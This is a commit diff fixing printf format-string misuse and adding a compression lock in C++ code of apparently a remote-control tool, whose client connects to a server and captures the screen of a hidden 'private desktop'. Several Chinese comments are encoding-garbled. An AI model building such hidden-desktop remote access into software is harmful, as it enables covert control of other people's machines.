fix: #212 Undefined behavior on printf

This commit is contained in:
yuanyuanxiang
2025-10-26 04:53:16 +08:00
parent b0f622b9c4
commit 8ed23cc8dc
5 changed files with 8 additions and 5 deletions

View File

@@ -61,7 +61,7 @@ void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::s
DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac)
{
IOCPClient* ClientObject = new IOCPClient(exit, true, conn->iHeaderEnc);
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn->iHeaderEnc);
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
CScreenManager m(ClientObject, 32, (void*)1);
if (IsWindows8orHigher()) {

View File

@@ -427,7 +427,8 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
HeaderEncType encType = HeaderEncUnknown;
FlagType flagType = CheckHead(szPacketFlag, encType);
if (flagType == FLAG_UNKNOWN) {
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s. Mask: %d'\n", szPacketFlag, maskType);
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'. Mask: %d, Skip %d.\n",
szPacketFlag, maskType, ret);
m_CompressedBuffer->ClearBuffer();
break;
}
@@ -499,8 +500,9 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, P
#endif
BYTE buf[1024];
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
m_Locker.Lock();
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
m_Locker.Unlock();
if (Z_FAILED(iRet)) {
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
if (CompressedBuffer != buf) delete [] CompressedBuffer;

View File

@@ -223,6 +223,7 @@ protected:
BOOL m_bIsRunning;
BOOL m_bConnected;
CLock m_Locker;
#if USING_CTX
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

View File

@@ -98,7 +98,7 @@ public:
}
#ifndef _WINDOWS
#ifdef _DEBUG
printf(logEntry.c_str());
printf("%s", logEntry.c_str());
#endif
#endif
cv.notify_one(); // ֪ͨд<D6AA>߳<EFBFBD>

View File

@@ -528,7 +528,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
} else {
memcpy(buf, szBuffer, ulOriginalLength);
}
Mprintf("[COMMAND] Send: " + CString(buf) + "\r\n");
Mprintf("[COMMAND] Send: %s\r\n", buf);
}
try {
do {